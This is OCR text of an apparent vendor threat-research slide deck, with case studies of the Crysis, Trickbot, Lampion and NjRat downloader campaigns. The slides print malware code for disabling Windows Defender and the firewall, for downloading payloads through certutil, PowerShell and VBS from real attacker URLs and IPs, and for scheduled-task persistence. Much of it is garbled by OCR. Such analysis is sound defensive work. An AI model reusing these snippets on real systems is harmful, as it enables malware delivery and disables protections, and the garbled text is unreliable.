oL VN s Z W VW ICl s I DEKc 2 NOodGFza3Mg LIl bl AVESGXE  pY 3Jve 2 Smd Fx X aWsS kb 3d =X ERpc 2 e DEG VR baVW X FNDOGCVUdEN s ZWFudXAGLO kKU IRMcaQT U2 x 1 ZXAGLIMGMMODY
-

Ywindirt\systen32\windowspowershell\vi. .0\ powershell .exe —-encodedcommand
TRV Y IR 4GRSy Y 22Ut TV I LUl 0 ZWOCH INOcmIuZ L Ok UG F 0 atikiCnsNCglI Z A Ao I ShUZ XN O LVERAGggI F BhAGgRHSB T DOoSCUS 1dy il JAGVE ICIGD3IJIZSATUGT OaCAl
Ao E Z G Up DOr 7 Do S Y g E o VeVt LY X RO ICIOY RO ICIAR=EIL 3 Z S I pHS B 7 Do VI ldEVY g O KX ONCgk QW 3 I DOgR2VOLUF I ECAXRR1 3 ZQOKCTSREY 2wuU 2 VO Oowi ]
GLVENRAGOYIEZPOCUQLU R IRESLaxm VI aCAKOWN s DO CgkkOWN s I DOgR VO LU I BCAKRERI s ZOOKCSREBY 2wuQW N ) 22Xz IBwg V2R ilcumUt T 20QZwWii0 ISsgiFSuSwWR1IDORpAELY
[V ER P UK IURSIgISB e IE Ve R VhY 2ggew KOOk koW s Ll J Il oW S 2 ZUF ) Y 2Vl Il bGUOI FSpIAOKCXONCgl I ZX QT OWN s ICIOYXROICRGaAaWX LICIBY Z2xPYepl Y 3QgJEF IDAO]
YO 2Nl CcIMgLUSHEWUGIKSUZURyaXZl It AT RSy Y 2UgLUVYy eSS yOWN AN Su Il Flip G VudGX SOZ2 SudG ludnUNCg lLTAGC SWILVB YD 2N 1 c3MgLUS bW UG IXSUZURYaAXZ 1UZVOKAY
| SR Y X ROCY ASIERCII R I bAYEU L 1L TVEVNU K S PVEXTeXNOZWO ML Is ICIRZWS 20 1INZUIRFIVIPTIRCUI1 =sVO SN Qi EQOKCUZveckVAY 29gKCROYXROIGILUICROQYXRoCcyky
OaCATO2hpbGROYXROICI PEaNVEcCm] 2 ZVN 1 dH VR IaV4 ZS INCgkJaWYgRKFRICc3IQTUGF aCATUGF0aCAS JESUuZURyaXZ1UZVOAXAS ICI1QYXROVHIWZ SEMZWFRKSB7DOOJICQ1 ]
SICIOEOS 1 dldpbeRvAY ATV 2 FDAROKCQKkIJUSRRenQtU2x 1 ZXAG LI MM O KOOk I UV b 3 Z 10WNs ICIXT 2SS IRHSpANVIZXR 1 cCINCg kI QO KCXONCgOKCVNODIATUHIwY 2V
SZWESODHIDD2S0aNS L ZO0 XV O Y X IO L VN s ZH VW ICl s I D INCgONCSMgUn Vb3 Z 1 IESuZURyaXZ 1 IGZyb20gR 1 s Z SBFe HEsb 3J 1 cgOXCSRPEaVECRI 2ZSASICIISOXNOLN
SO U= LI IyNE R MV EMU I PN 0l Do T RSy Y 2 U s TV 3 LD L O 2N Og LV B NdGgg I i R PV Ecm] 2 2 S I N gl T ZX Ot SXRIDVEYLIBILcnRSICIOYXROICIKT 2SS IRNIpA=ULi IC10YW1
X L IC I WY wWx 1l 2SS AW Do I IESu R yaX 2 1l I DO0g I kL T E O €U0 G I d Bk Vo 2 x e IN L Cc l X D T N TR I b 3 c 2N DMy T S kT VX DT FN IR X TMDESRDVIN ) Yo DU My OOM-AILIT 14
AJESUIURyaXZ 1l IgoKC VN IdC L JaG VI UESveG Yy dE kg LV B dGgg I A R FEaEVECH L 2 2 S IgiUuS bW Ug I ANSC RIS SOl BpbaS L ZFRVIESF c ZVRWIWNIVEISLZSIgLVRScGUgREFA)
Ve SV Il XE W ndR X O E S UV VN U A SEQV O g Ll S EW lvam s S R A DV By 3 B Lo R S IC IO X RO I C T S EWdpPC I Ry e T o€ SETVRER L ZaF I DERCUOSGVEFABURVCIWI I cnSzD2Z0X Fay
TZXRICcCINCGlISRUCGVUSMIOFEIERLVVXEZWZRAW X0 DOoNCgRkXURSvANHMg PSEANCISISOXNOIXTIOZUVOFSRSISICIISOXNOIXTIOZUVOFSRVXID SCcZH DMy TS KIS IpDOoY
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@S> zscaler

Case Study #7 - BAT.Downloader.Crysis Threatlabg

* BAT script disables Window
Defender and Firewall.

* PowerShell command runs netsh adviirevall set allprofiles state off
Windows certutil tool to Reg add 'HKEY_LOCAL_!QCEIH;\;OE‘IW;RE\Polzcgs\mcrosoft\imdm ?efender"/v DisableAntiSpyware /¢ REG_DWORD /d 1 /£
] REG ADD “hklm\software\policies\microsoft\windows defender” /v DisableAntiSpyware /t REG DWORD /d 1 /£
download the final payload.

* Creates scheduled task to
periodically disable Windows
Defender

[ )
Bypasses UAC and launch twindirt\sysven32\windowspowershell\vl, 0\powershell, exe -encodedcommand “SREG = “EKCU:\Environment®
payload.exe. CINE = “vindir®

SCOMAND = “cartutil -urlcache -split -f hrtos://adandl pay.exe ¢ pay.exe"
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&> zscaler

Case Study #7 - BAT.Downloader.Crysis Threatlabg

* Disables the OneDirive to restrict all the available options of file recovery in case of ransomware

attack.
* Disables all the security measures before initiating the infection cycle and specifically disabling

security measures regarding ransomware.

Start-Process "$OneDriveSetup™ "/uninstall® =-NoliewWindow -Wait
Start-Sleep -3 3
Removelcl "SOneDriveSetup”

}

Stop~Process -Name “explorer® ~Force -Erroriction SilentlyContinue
Start-Sleep -8 2

¢ Remove OneDrive from File Explorer

$0neDrive = “HKLM:SOFTWARE\Classes\CLSID\ (018DSCEE~4533-4307-9B53-224DE2EDLIFEE)"

Force-New-Item ~Path “$OneDrive”

Set-ItemProperty ~Path "${OneDrive”™ -Name “System,lsPinnedToNameSpaceTree™ -Type DWORD -Value 0
$OneDrive = “HKLM:SOFTWARE\Classes\CLSID\Wowé432Node\CLSID\ (018D5CE6~-4533-4307-9BS3-224DE2EDIFEE) "
Force=-New-Item ~Path "$OneDrive”

Set~-ItemProperty ~Path "{OneDrive”™ -Name “System,lsPinnedToNameSpaceTree” -Type DWORD ~Value 0

REG LOAD HKU\Default C:\Users\Default\NTUSER.DAT
Remove-ItenProperty ~Path "Registry::HKU\Default\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ~Name "OneDriveSetup®

REG UNLOAD HKU\Default
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@S> zscaler

Case Study #8 - VBS Downloader Threatlaka

® Campaign observed in March 2019.

® Malicious program contains high amount of junk data.

® Uses ServerXMLHTTP ActiveX object (commonly used in VBS and VBA based
downloaders)

®* 50% of all VBS based downloaders blocked in Zscaler Cloud Sandbox were different
variants belonging to the same campaign.
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@S> zscaler

Case Study #8 - VBS Downloader Threatlaka

set pr=NScript.CreateObject("Scripting.FileSystemObject"”) :dim q,v,z,ab,1s(255) ,d(255) :dz="gRdcxh7uGxrpsXHGWAWNPEG
for ab=1 tc v step 4

dim t,f,vx,vc,r,b:t=3:r=0"'%a44*A4F1€dp], 42@I471§3%AASEqcic4PA%NmAN ‘a° A K¥ph¥m " A0Ae cAA1 EApanISAXQa4YA« 74AmbAAESAmS
for £=0 to 3

vx=mid(g,ab+£,1) 'un7 4IcIN°S4RSARARA%7AAXATM, “4Zr§°1iM, AE“the "SAQE S€¥rEepd41BaQ, 74 fYzAmAA-afis!aws,dUA~AAA%9RKS.
if vx="=" then'AcJA"§SpaTide°XAeFo™ AR€L % 213BEPAMSVoAEBxE ‘ke€AE3TRARFda" "Ahooh " FRAX " “0° tEHRA "AEz4’ A~ A20tAAN"31
t=t-1:vc=0'b‘494,§ ;Iaitehetch’ikSul-aEcay¥ elajtEeieiaiizivseiBAT " mall %yYV PIMAES: cAJAUAEGEMIE->EF1£3aah 1 ¥eeiicdvy
else vc=instr(l,qs"+/",vx,0)-1

* VBS code of this downloader contains junk data in the form of comments and the actual VBS code that
downloads the final payload is encrypted.

set j=WScript.CreateCbject("WScript.Shell™)

set o=WScript.CreatelObject("Scripting.FileSystemlbject”™)
p=] .ExpandEnvironmentStrings ("sTEMP:") &"\uu.url”

set h=j.CreateShortcut(p)

h.TargetPath="ht"

h.Save

if o.FileExists(p)=false Then

set w=CreateCbject("WScript.Shell™)
tb=w.ExpandEnvironmentStrings ("sTEMPE") &"\co.exe"”

Call 1

sub 1

dim up:set up=createcbject ("MSXML2.

ServerXMLHTTP.6.0"™)
dim gh:set gh=createcbject("Adodb.Strea

")

H

 Uses ServerXMLHTTP ActiveX object (commonly used in VBS and VBA based downloaders) for
downloading payload. The URL is hardcoded in the script itself. 41



&> zscaler

Case Study #8 - VBS Downloader Threatlabe

* Ina dropper variant of this malware, the payload is embedded in encrypted form (ASCII value
substitution method) in the code itself. It uses CreateTextFile function to drop the file and the command
to run the payload is also mentioned in the code itself.

| = T ST ST ST ST ST ST ST S T S T S T S T S T T T ST ST ST ST ST ST
'y 7,7,7,7): Dim utLWv: utLWv=Array(90,106,121
[dJAg) : vkQkwo = "": for SBbQs=0 to UBound(
Function niYERmvAIg(VEJdAJAg) : vkQkwo = " ":
Jdg = ykQkwo: End Function: Function ANzxrNp (
End if: End Function: Function ysIskvUC(
IPAHcu = gWQhD.createTextFile (RLvjh): Set
iteTextFile(RLvjh): .Write (ndJJoQDUEgGU (
h giWQhD.createTextFile(RLvijh): .Write (
-Write (nJJoQDUEgU (HJCcogR)): .Write(

* Another variant where it was trying to download from multiple URLs

"http://galerisafir.com/piceditor.exe"

“http://gasoim.com/test.exe"

Yhttp://uww.factorydirectmattress.com.au/images/factory.pdf"

Yhttp://fairlinktrading.com/images/f1lt.pdf"

Yhttp://vwwuw.financialsnig.com/financialsnig/calc.exe"
select

all prog
sub prog
dim msxml: Set msxml = createobjectd{(xml)>
dim stream: Set stream = createobjectddhb>
msxml.Open Y“GET", URL., False
msxml.Send
with stream




> zscaler

Case Study #8 - VBS Downloader ThreatLah&s

MO IIU I L L AP Y AL UL I LU VL Ly I

aet oUrlLink = UahShell CleateShottcut(Path)
oUrlLink.TargetPath = “"http://uww.microsoft.com"
oUrlLink.Saved(shit)

fe 7 A

if <(FSO.FileExists{(Path>> Then
WScript.Echo “"Unknown Errort"
else

p=]J .ExpandEnvironmentStrings ("sTEMPE") &"\uu.uxrl"™
set h=j.CreateShortcut (p)

h.TargetPath="ht"

h.Save

* |t tries to create a shortcut in % TEMP% with different names to mark the infection. In some variants,

the wrong path in the TargetPath attribute is provided and for some, the call to Save function is
incorrect.

* Due to the “on error resume next” statement, the script is working flawlessly.

It download Win32.Banker.Trickbot as final payload but there were instances where it also downloaded
Win32.Banker.Danabot and Win32.PWS.Azorult



&> zscaler

Case Study #9 - Win32.Downloader.Lampion Threatlab&

® Campaign observed in late 2019 targeting Portuguese users.

® Uses social engineering tricks in spamming mails related to Finance and Tax declaration.

®* Leverages Amazon Web Services to host subsequent payloads

® Uses window process Winmgmt

®* Uses commercial packer VMProtector to avoid detection of final payload by security engines.
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&> zscaler

Case Study #9 - Win32.Downloader.Lampion Threatlab&

* In this variant the attacker is leveraging a new trick, a MSl file is used which contains the malicious
VBS files.

®* Creates a Ink file for persistence and deletes all other previously present Ink files.

Plaintext = Plaintext & Chr (ocldAsc)

Next

Decrypt = Plaintext

End Function

WScript.Sleep (30000)

On Error Resume Next

Set objFS0O = CreatelObject("Scripting.FileSystemCbject™)

Up™) & "\*.1lnk") , DeleteReadOnly

objFS0.DeleteFile (objShell.SpecialFolders("Stax
If Exrr Then

End If

On Error GoTo O
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&> zscaler

Case Study #9 - Win32.Downloader.Lampion Threatlab&

Downloads two different files from AWS server.

logs=Decrypt(&quot;tso”aj]j.f iH0q%O%|[keQi~]Sk,hH_&gt;$Ki!)-
S@k,i##2[&amp;WZioj7#{(5$?W,c;W&It;p7e3drWAmsi,$rYBe-ch%z&amp;@$hpl_Qf1t&quot;)

ur=Decrypt(&quot;X1m**j9jafyi!0}% 0 %q]P\~]0itZIkB\ti[Zt\Ci#Zy\z]=+(]I$hiA)m$skdil#\[-
W(iTj4#5(\$eWGcYWipeeHdIWgmAI-$4Y2e&lt;ci% 1Fg#m+n#@&#39; ,h$.Z2byb 'B&quot;)

logs = Decrypt("tso”aj]j.f iHOg%0% :ke?;~23k,h3_v3K;I]—fék,;##I:&WZ;OjT#f(SS?W,c;deTesd:NAms;,S:YSe—ch%ziéfhpI_Gf;t")
dim xHttpO: Set xHttp0 = createcbject("Microso XMLHTTP")

dim bStrm0: Set bStrm0 = createobject("Adodb.Stream")

xHttpO0.0Open "GET", logs, False

xHttpO.Send

with bS5trm0

.type = 1

.open

.write xHttpO.responseBody

.savetofile strPath2, 2

end with

ur = Decrypt ("XIm"*3j9jafyi!0}30%q]P\~]0itZIkB\ti[Zt\Ci#Zy\z]=+(]IShiA)mSskdil#\ [-W(iTj4#5 (\SeWGcYWipeeHdlWgmAi-$4Y2e<cislFg#m+n#@' ,h$.Z2byb B")




@S> zscaler

Case Study #9 - Win32.Downloader.Lampion Threatlab&

Decrypted URLSs:

* hxxps://eosguri.s3.us-east-2.amazonaws|[.Jcom/0.zip

* hxxps://gfgsdufsdfsdfg5g.s3.us-east-2.amazonaws[.Jcom/P-5-16.dll

* Atthe end, It will shutdown the system using Winmgmt and the final payload will get executed by the
LNK file created in the Windows Startup folder.

objFile.Write "Set cuzao = Wicript.CreateObiect ("& chr(34) & "WScript.Shell"& chr(34) &")"& vbCrLf
objFile.Write ao.CreateShortcut (MeuPau & "& chr(34) & ".1lnk" & chr(34) &")"& vbCrLf
objFile.Write "v ath = "& chr(34) & strpath & chr(34) & vbCrLf

objFile.Write e = 1 "& vbCrLf

objFile.Write ectory = MeuPau"& vbCrLf

objFile.Write "v rLf

objFile.Write "5 GetObject ("& chr(34) & "winmgmts:{authenticationlevel=Pkt," & chr(34) & "_"&

vbCrLf

objFile.Write " & "& chr(34) & " (Shutdown)!}"& chr(34) & ").ExecQuery(" & chr(34) & "Select * from
Win32 OperatingSystem where " & chr(34) & "& vbCrLf

objFile.Write rue" & chr(34) & ")" & vbkCrLf

objFile.Write "F "& vbCrLf

objFile.Write "r wn(€)"& vbCrLf
objFile.Write
objFile.Close
CreateObject ("WScript.Shell") .Exec "wscript.exe " & outFile
Set objShell = Nothing

» Final payload - Win32.Trojan.Lampion which is packed using a commercial packer
VMProtector.
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Case Study #10 - RTF.Downloader.NjRat Threatlabe

¢ Campaign observed in Feb 2020 attributed to Gorgon Group.

®  Starts with spam mail having attachment or shortened URL link.

®* Leverages an exploit CVE-2017-1999 (DDE exploit) in the RTF file.
®  Multi-stage Downloader campaign

®* Leveraging PowerShell script.
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Case Study #10 - RTF.Downloader.NjRat

Spam mail contains malicious RTF document.

Leverages the well known exploit CVE-2017-1999 (DDE exploit) in the RTF file.
Exploit downloads an obfuscated PowerShell script from hxxp://207[.]246][.]68[.]214/abc/attack.jpg.
PowerShell script downloads a VBS file.

&> zscaler

$TRP="% *-EX' .replace('*.*-','I"); sal Master $TRP;'(&(GCM'+' *W-0%)'+
'Net.'+'Web'+'Cli'+'ent) '+'.Dow'+'nl'+'ocad'+'Fil'+'e(' 'http: //207.246.68.214/abc/revenge. ipg
'Y, $env:APPDATA+''\\"''+''rvgup.vbs'') ' |[Master; start-process($env:APPDATA+'\\'+'rvgup.vbs')
"(&(GCM'+' AW-0%)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e("’
http://207.246.63.214/abc/ninvan.jpg' "', $env:APPDATA+' "\\"'"+' 'njup.vbs'') ' [Master;
start-process(senv:APPDATA+'\\'+'njup.vhs')

sIRP="* *-EX',.replace('*.*-','I'"); sal Master S$TRP;'(&(GCM'+' *W-0%)'+
'Net.'+'Web'+'Cli'+'ent) '+'.Dow'+'nl'+'0ad"+'Fil'+'e(' 'hxxp: //207.246.68.214/abc/revenge. Ipg
"1, $enviAPPDATA+'"\\""+''rvgup.vbs'') ' [Master; start-process(senv:APPDATA+'\\'+'rvgup.vbs')
"(&(GCM'+' MW-0%)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'cad'+'Fil'+'e("!’
hxxp://207.246.68.214/abc/ninyan.jpg' ', $env:APPDATA+' "\\"'+"' 'njup.vbs'"') ' |[Master;

start-process(senv:APPDATA+'\\'+'njup.vbs"')

ThreatLab&
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Case Study #10 - RTF.Downloader.NjRat Threatlabe

®* VBS file contains an obfuscated PowerShell script which is obfuscated using character replacement of
“11” with “@#_**Classified code”.

f="K|"'' nioj- S5saédf4sSafgEgirajOISAas$]][rahc[:;)77,421,93,93,23, 0@#_**Classified code) TS A @#_
code) (, 4@#_**Classified code) (,79,401,76,501,501, 99, 5@#_**Classified code) (,79,63,23,16,301, 0
code) (, 6@%#_ **Classified code) (,38,501,501,99,5@# **Classified code) (,79,63,95,521,43,59, 63,02
code) (,121,89,19,39,4@% **Classified code) (,79,401,99,19,321,23,6@% **Classified code) (,99,10
code) (, @#_‘*Classified code) (1,07,421,23,93,549,93,23, 6@#_**C1assified code) (,501,801, 2@#_*‘C1.
code) {,63,23,16, 5@#_**C].|assified code) (, e@#_*‘c1assified code) (, 79,401 76,501,501 ,99 5@#_**(:1.
code) (,021,101,48,101,5@#_ **Classified code) (,0@#_ **Classified code) (,@# **Classified code) (1
code) (,101,4@#_ **Classified code) (,64,6@#_ **Classified code) (,63,16,121,6@# **Classified code
code) (,64,6@%# **Classified code) (,63,95,14,101,5@#% **Classified code) (,801,79,201,63,44,93,30.

* VBS file also creates a Windows scheduled task to run the script periodically and copies itself to
location - C:\Users\<UserName>\AppData\Local\Microsoft\<file name>.vbs

Dim rootFolder

Set rootFolder = Eval(rev(")""\"" (redloFteG.ecivres"))
Dim taskDefinition
Set taskDefinition = Eval(rev(")0 (ksaTweN.ecivres"))

Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description = "System performance enhancment”

regInfo.Author = "Microsoft”
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Case Study #10 - RTF.Downloader.NjRat Threatlabe

* Deobfuscated PowerShell code, download further payload and execute it.

$Tbone=\'*Ex\'.replace(\'*\',\'I\')d

sal M S$Tbone:;

do {S$ping = test-connection -comp google.com —-count 1 —-Quiet} until ($ping):
S$p22 = [Enum]::ToCbject ([System.Net.SecurityProtocolType], 3072):
[System.Net.SexrvicePointManager]::SecurityProtocol = $p22;

S$t= New-Object -Com Microsoft.XMLHTTP;
St.open(\'"GET\',\'http://redeturismbrasil.com/janeiro/nj3333nvarroba.ipg\',$false);
St.send():

Sty=S$t.responseText;

$asciiChars= $ty -split \'-\' |ForEach-Cbject {[char] [byte]"0xS$_"}:
SasciiString= $asciiChars -join \'\'|M"

* NjRat, is the final payload but we have seen that same open directory contains other advanced
malwares (Win32.Backdoor.RevengeRAT, Win32.Backdoor.Nanocore) being used in same attack
campaigns by the threat actor.

- € ) redeturismbrasil.com/ o

Index of /janeiro/

232K
292k
4484x
1416k

1416k
1100%

T

20-Ja5-2020 04:55 176k

Proudly Served by LiteSpeed Web Server at redeturiembragil.com Port 80
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Conclusion ThreatLabg

Adversaries adopting advance mechanism using system’s legitimate services as well as
well known scripting languages.

Usage of popular cloud service providers like AWS, OneDrive, Google Drive, GitLab, etc
to safeguard subsequent payloads.

Usage of automation scripting languages make it easier to add new features including
anti-analysis and evasion techniques.

Multi-stage downloader payloads observed both in nation state as well as crimeware
campaigns targeting several industry verticals
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